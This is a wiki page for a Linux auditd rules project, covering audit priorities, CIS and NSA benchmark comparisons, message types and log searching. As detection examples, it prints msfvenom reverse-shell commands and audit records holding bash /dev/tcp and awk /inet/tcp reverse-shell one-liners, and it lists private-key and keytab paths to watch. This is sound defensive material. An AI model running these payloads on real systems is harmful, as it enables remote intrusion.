Skip to content
pyllyukko edited this page Dec 2, 2024 · 63 revisions

Rules

What to audit?

As I had no idea, I had to resort to different hardening guides.

Here's a comparison between the NSA RHEL guide and the CIS Debian 8 benchmark (version v1.0.0 - 12-31-2015):

NSA CIS
2.6.2.4.1 Records Events that Modify Date and Time Information 8.1.4 Record Events That Modify Date and Time Information
2.6.2.4.2 Record Events that Modify User/Group Information 8.1.5 Record Events That Modify User/Group Information
2.6.2.4.3 Record Events that Modify the System's Network Environment 8.1.6 Record Events That Modify the System's Network Environment
2.6.2.4.4 Record Events that Modify the System's Mandatory Access Controls 8.1.7 Record Events That Modify the System's Mandatory Access Controls
2.6.2.4.5 Record Attempts to Alter Logon and Logout Events 8.1.8 Collect Login and Logout Events
2.6.2.4.6 Record Attempts to Alter Process and Session Initiation Information 8.1.9 Collect Session Initiation Information
2.6.2.4.7 Ensure auditd Collects Discretionary Access Control Permission Modification 8.1.10 Collect Discretionary Access Control Permission Modification Events
2.6.2.4.8 Ensure auditd Collects Unauthorized Access Attempts to Files 8.1.11 Collect Unsuccessful Unauthorized Access Attempts to Files
2.6.2.4.9 Ensure auditd Collects Information on the Use of Privileged Commands 8.1.12 Collect Use of Privileged Commands
2.6.2.4.10 Ensure auditd Collects Information on Exporting to Media 8.1.13 Collect Successful File System Mounts
2.6.2.4.11 Ensure auditd Collects Files Deletion Events by User 8.1.14 Collect File Deletion Events by User
2.6.2.4.12 Ensure auditd Collects System Administrator Actions 8.1.15 Collect Changes to System Administration Scope (sudoers)
N/A 8.1.16 Collect System Administrator Actions (sudolog)
2.6.2.4.13 Ensure auditd Collects Information on Kernel Module Loading and Unloading 8.1.17 Collect Kernel Module Loading and Unloading
2.6.2.4.14 Make the auditd Configuration Immutable 8.1.18 Make the Audit Configuration Immutable

As you can see, they're pretty much identical, so it's probably a good starting point. You can find rules for these in the stig.rules example.

What else to audit?

Here is something else that we might be interested in:

  • Log file tampering
  • Access of private keys
    • ~/.gnupg/secring.gpg
    • /etc/ssl/private/
    • ~/.gnupg/private-keys-v1.d/
    • /etc/letsencrypt/keys/
    • Kerberos
      • kdb5_util tabdump keydata
      • /etc/krb5.keytab
      • KDC DBs
  • Programs executed from /tmp and other world-writable places
  • Screen locking
  • Firewall changes
  • Suspend / hibernate
  • WWW server executing random stuff
  • Listening sockets
  • All file changes under web root
  • When root executes file that is owned by someone else
  • setresuid?
  • ptrace (42-injection.rules)
  • dup2?
  • PKI:
    • authorized_keys modifications
    • APT key modifications
    • Trusted CA mods
  • failed chdirs?
  • LD preload (can this be done?)
  • When security controls are being modified
    • /etc/security/
    • /etc/pam.d/
  • Daemon users executing anything else than the specific daemon and the bins that it might call
  • wget & curl? (See susp_activity in https://github.com/Neo23x0/auditd/blob/master/audit.rules)
  • Changes to network interfaces
  • crontab modifications
  • Other privilege escalation methods (e.g. pkexec)
    • These are covered in both STIG and OSPP as maybe-escalation

Private keys

It would be good to whitelist e.g. gpg-agent and other software that naturally access those keys.

-w /your-file -p rwxa -k mykey

tmp execs

For instance with the following rule:

auditctl -w /tmp -p x -k exec

You can spot potentially malicious stuff. Here's an example of Metasploit's session handling upgrading a shell to a meterpreter session:

----
time->Tue Jan 19 14:54:53 2016
type=PATH msg=audit(1453208093.787:13): item=0 name="/tmp/VMylO" inode=277938 dev=08:01 mode=0100755 ouid=1000 ogid=1000 rdev=00:00
type=CWD msg=audit(1453208093.787:13):  cwd="/run/shm"
type=EXECVE msg=audit(1453208093.787:13): argc=1 a0="/tmp/VMylO"
type=SYSCALL msg=audit(1453208093.787:13): arch=c000003e syscall=59 per=400000 success=yes exit=0 a0=16874a8 a1=16874d0 a2=1687608 a3=0 items=1 ppid=4053 pid=4059 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=4 comm="VMylO" exe="/tmp/VMylO" key="exec"

32bit-abi

THOR Lite thor-lite-util will create a whole bunch of these events:

## If you are on a 64 bit platform, everything _should_ be running
## in 64 bit mode. This rule will detect any use of the 32 bit syscalls
## because this might be a sign of someone exploiting a hole in the 32
## bit API.
-a always,exit -F arch=b32 -S all -F key=32bit-abi

mknod

From:

Payload generated with msfvenom -p cmd/unix/reverse_netcat LHOST=###.###.#.## LPORT=4444 -f raw.

----
type=PROCTITLE msg=audit(10/27/2022 23:47:58.567:393) : proctitle=mkfifo /tmp/qeft 
type=PATH msg=audit(10/27/2022 23:47:58.567:393) : item=1 name=/tmp/qeft inode=1934160 dev=b3:02 mode=fifo,600 ouid=pyllyukko ogid=pyllyukko rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 
type=PATH msg=audit(10/27/2022 23:47:58.567:393) : item=0 name=/tmp/ inode=1934159 dev=b3:02 mode=dir,sticky,777 ouid=root ogid=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 
type=CWD msg=audit(10/27/2022 23:47:58.567:393) : cwd=/home/pyllyukko 
type=SYSCALL msg=audit(10/27/2022 23:47:58.567:393) : arch=armeb syscall=mknod per=PER_LINUX success=yes exit=0 a0=0xbed6f47f a1=fifo,666 a2=0x0 a3=0xbed6f168 items=2 ppid=2236 pid=2326 auid=pyllyukko uid=pyllyukko gid=pyllyukko euid=pyllyukko suid=pyllyukko fsuid=pyllyukko egid=pyllyukko sgid=pyllyukko fsgid=pyllyukko tty=pts1 ses=4 comm=mkfifo exe=/usr/bin/mkfifo subj=unconfined key=specialfiles 

"Command payloads"

Tools that have networking capabilities, but are rarely used for that.

Payloads such as:

  • msfvenom -p cmd/unix/reverse_bash LHOST=###.###.#.## LPORT=4444 -f raw
  • msfvenom -p cmd/unix/reverse_awk
  • msfvenom -p cmd/unix/bind_awk

Example audit log entries:

----
type=PROCTITLE msg=audit(10/28/2022 21:37:05.762:784) : proctitle=bash -c 0<&197-;exec 197<>/dev/tcp/###.###.#.##/4444;sh <&197 >&197 2>&197 
type=SOCKADDR msg=audit(10/28/2022 21:37:05.762:784) : saddr={ saddr_fam=inet laddr=###.###.#.## lport=4444 } 
type=SYSCALL msg=audit(10/28/2022 21:37:05.762:784) : arch=armeb syscall=connect per=PER_LINUX success=yes exit=0 a0=0x3 a1=0xe7bc28 a2=0x10 a3=0x0 items=0 ppid=2368 pid=2594 auid=pyllyukko uid=pyllyukko gid=pyllyukko euid=pyllyukko suid=pyllyukko fsuid=pyllyukko egid=pyllyukko sgid=pyllyukko fsgid=pyllyukko tty=pts3 ses=4 comm=bash exe=/bin/bash subj=unconfined key=shell-connect 
----
type=PROCTITLE msg=audit(10/28/2022 21:48:51.229:1202) : proctitle=awk BEGIN{s="/inet/tcp/0/###.###.#.##/4444";do{if((s|&getline c)<=0)break;if(c){while((c|&getline)>0)print $0|&s;close(c)}} whil 
type=SOCKADDR msg=audit(10/28/2022 21:48:51.229:1202) : saddr={ saddr_fam=inet laddr=###.###.#.## lport=4444 } 
type=SYSCALL msg=audit(10/28/2022 21:48:51.229:1202) : arch=armeb syscall=connect per=PER_LINUX success=yes exit=0 a0=0x3 a1=0x1dd70c8 a2=0x10 a3=0x0 items=0 ppid=2719 pid=2983 auid=pyllyukko uid=pyllyukko gid=pyllyukko euid=pyllyukko suid=pyllyukko fsuid=pyllyukko egid=pyllyukko sgid=pyllyukko fsgid=pyllyukko tty=pts5 ses=4 comm=awk exe=/usr/bin/gawk subj=unconfined key=cmd-payload 
----
type=PROCTITLE msg=audit(10/29/2022 14:27:18.242:589) : proctitle=gawk BEGIN{s="/inet/tcp/4444/0/0";do{if((s|&getline c)<=0)break;if(c){while((c|&getline)>0)print $0|&s;close(c)}} while(c!="exit 
type=SOCKADDR msg=audit(10/29/2022 14:27:18.242:589) : saddr={ saddr_fam=inet laddr=###.###.#.## lport=35002 } 
type=SYSCALL msg=audit(10/29/2022 14:27:18.242:589) : arch=armeb syscall=accept per=PER_LINUX success=yes exit=4 a0=0x3 a1=0xbed608c0 a2=0xbed60858 a3=0x0 items=0 ppid=5648 pid=6024 auid=pyllyukko uid=pyllyukko gid=pyllyukko euid=pyllyukko suid=pyllyukko fsuid=pyllyukko egid=pyllyukko sgid=pyllyukko fsgid=pyllyukko tty=pts1 ses=27 comm=gawk exe=/usr/bin/gawk subj=unconfined key=cmd-payload 
----
type=PROCTITLE msg=audit(10/29/2022 14:36:33.901:828) : proctitle=awk BEGIN{s="/inet/tcp/4444/0/0";do{if((s|&getline c)<=0)break;if(c){while((c|&getline)>0)print $0|&s;close(c)}} while(c!="exit" 
type=SOCKADDR msg=audit(10/29/2022 14:36:33.901:828) : saddr={ saddr_fam=inet laddr=0.0.0.0 lport=4444 } 
type=SYSCALL msg=audit(10/29/2022 14:36:33.901:828) : arch=armeb syscall=bind per=PER_LINUX success=yes exit=0 a0=0x3 a1=0xc2f538 a2=0x10 a3=0xc2f518 items=0 ppid=2306 pid=3309 auid=pyllyukko uid=pyllyukko gid=pyllyukko euid=pyllyukko suid=pyllyukko fsuid=pyllyukko egid=pyllyukko sgid=pyllyukko fsgid=pyllyukko tty=pts1 ses=5 comm=awk exe=/usr/bin/gawk subj=unconfined key=cmd-payload 

What not to audit

"Only msgtype, *uid, *gid, pid, and subj* fields can be used with exclude filter"

Crypto event logging seems excessive:

Summary Report
======================
Selected time for report: 01/01/21 00:00:00 - 24/03/21 07:03:15.025
Number of crypto events: 2466043

Exceptions to CIS Debian Linux 12 Benchmark v1.1.0 - 09-26-2024

CIS section Key Description
6.2.3.1 Ensure changes to system administration scope (sudoers) is collected scope Rules exist in 30-stig.rules, but with different syntax
6.2.3.2 Ensure actions as another user are always logged user_emulation Not implemented currently
6.2.3.3 Ensure events that modify the sudo log file are collected sudo_log_file sudo.log is not being used
6.2.3.4 Ensure events that modify date and time information are collected time-change Rules exist in 30-stig.rules, but with different syntax
6.2.3.5 Ensure events that modify the system's network environment are collected system-locale Rules exist in 30-stig.rules & network.rules.new, but with different syntax
6.2.3.6 Ensure use of privileged commands are collected privileged Created with 31-privileged.rules, but not from everywhere. E.g. /var/lib/docker/, /snap/ & /usr/games/ are not included.
6.2.3.8 Ensure events that modify user/group information are collected identity Rules exist in 30-stig.rules & identity.rules.new, but with different syntax
6.2.3.9 Ensure discretionary access control permission modification events are collected perm_mod Disabled as too noisy
6.2.3.11 Ensure session initiation information is collected session Not implemented currently. Commented out in 30-stig.rules.
6.2.3.12 Ensure login and logout events are collected logins Rules exist in 30-stig.rules, but with different syntax
6.2.3.13 Ensure file deletion events by users are collected delete Disabled as too noisy
6.2.3.14 Ensure events that modify the system's Mandatory Access Controls are collected MAC-policy Rules exist in 30-stig.rules & mac.rules.new, but with different syntax

Message types

CRYPTO_SESSION

exe can be /usr/sbin/sshd for instance. Logs stuff like:

cipher=aes256-ctr ksize=256 mac=hmac-sha2-256 pfs=ecdh-sha2-nistp521

CRYPTO_KEY_USER

Disabled in Best Practice Auditd Configuration.

MAC_STATUS

After running setenforce 0:

----
time->Tue Apr  6 06:48:48 2021
type=PROCTITLE msg=audit(1617691728.802:20322): proctitle=736574656E666F7263650030
type=SYSCALL msg=audit(1617691728.802:20322): arch=c000003e syscall=1 success=yes exit=1 a0=3 a1=7fffeaccf2e0 a2=1 a3=7fffeacced60 items=0 ppid=5274 pid=12216 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4 comm="setenforce" exe="/usr/sbin/setenforce" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)
type=MAC_STATUS msg=audit(1617691728.802:20322): enforcing=0 old_enforcing=1 auid=1000 ses=4

USER_CHAUTHTOK

"changes to accounts, groups, or roles"

Logs e.g. chage -l with op=display aging info:

----
type=USER_CHAUTHTOK msg=audit(04/11/22 19:08:56.138:45282) : pid=15450 uid=root auid=XYZ ses=5920 msg='op=display aging info id=XYZ exe=/usr/bin/chage hostname=XYZ addr=? terminal=pts/1 res=success'

Anomalies

"Common" anomalies:

  • ANOM_RBAC_INTEGRITY_FAIL
  • ANOM_PROMISCUOUS
  • ANOM_ABEND
  • ANOM_LOGIN_FAILURES

Searching the logs

Times

https://github.com/linux-audit/audit-userspace/blob/master/src/ausearch-time.c:

static struct nv_pair timetab[] = {
        { T_NOW, "now" },
        { T_RECENT, "recent" },
        { T_BOOT, "boot" },
        { T_TODAY, "today" },
        { T_YESTERDAY, "yesterday" },
        { T_THIS_WEEK, "this-week" },
        { T_WEEK_AGO, "week-ago" },
        { T_THIS_MONTH, "this-month" },
        { T_THIS_YEAR, "this-year" },
};

Fields

exe is the executable and with interpreted languages it could be /usr/bin/python2.7 while comm is the actual command invoked (e.g. semanage).

At least USER_CMD message type has cmd, which is hex encoded.

Event ID

Event ID in aureport is the last field of the output labeled event:

====================================
# date time exe term host auid event
====================================

auid

there is a loose correlation with auid or sessionid being -1. That means it is a daemon. And if you only want commands run by people, then you want -F auid>=1000 -F auid!=-1.

Assuming direct root login is disabled since root is a shared account, then any event with uid ==0 and session != -1 has to be under sudo/su.

session id

Normally, the security rules are intended to be about what people do rather than daemons. The difference between people and daemons is people have an auid

= 500 and a daemon has an auid of -1. People have a session id > 0 and daemons have -1.

grantors

The grantors part comes from pam. It is used to describe what in the pam stack allowed the access. Sshd should use "pubkey_auth" somewhere in the event if it granted the access.

Notes

  • pam_loginuid.so enables the login auditing (type=USER_LOGIN)

From https://listman.redhat.com/archives/linux-audit/2021-January/msg00039.html:

It appears that all rules have been standardized around the syscall method except for the nispom and stig rules which are no longer preferred. I suppose at some point I should just drop nispom since no one has asked about meeting it in 12 or 13 years. At this point, the ospp rules are the recommended rule set.

From https://listman.redhat.com/archives/linux-audit/2020-September/msg00006.html:

The rules that I would recommend are the OSPP rules. They form the basis of the STIG auditing requirements. And I believe CIS's guidance would have similar rules. That means you would copy the following files (you can also get these from github if they are not on your system):

10-base-config.rules 11-loginuid.rules 30-ospp-v42-1-create-failed.rules 30-ospp-v42-2-modify-failed.rules 30-ospp-v42-3-access-failed.rules 30-ospp-v42-4-delete-failed.rules 30-ospp-v42-5-perm-change-failed.rules 30-ospp-v42-6-owner-change-failed.rules 43-module-load.rules

The above is designed tro detect violations of the security policy. Meaning someone trying to access something they do not have permissions for. If you also need to audit successful events, then copy the corresponging success rules. However, when you capture all success events, then system update will be a high volume of events.

Cron

cron generates a lot of noise:

# ausearch -ts today -i -x /usr/sbin/cron -n XYZ | grep -o 'type=[A-Z_]\+' | sort | uniq -c
    227 type=CRED_ACQ
    227 type=CRED_DISP
    227 type=PROCTITLE
    227 type=SYSCALL
    227 type=USER_ACCT
    227 type=USER_END
    227 type=USER_START

Remote logging

Client that sends audit event forward:

  • /etc/audit/plugins.d/au-remote.conf needs to have active = yes
  • Configure at least the following into /etc/audit/audisp-remote.conf:
    • remote_server
    • port = 60
    • local_port = 60 ("This is a security mechanism to prevent untrusted user space apps from injecting events into the audit daemon.")
    • AUDISP-REMOTE(8): "If you are aggregating multiple machines, you should edit auditd.conf to set the name_format to something meaningful and the log_format to enriched. This way you can tell where the event came from and have the user name and groups resolved locally before it is sent off of the machine."

For server you need to set the tcp_listen_port setting in /etc/audit/auditd.conf.

References